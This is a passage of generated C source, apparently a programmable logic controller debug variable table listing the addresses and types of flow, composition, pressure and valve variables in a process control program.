REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, 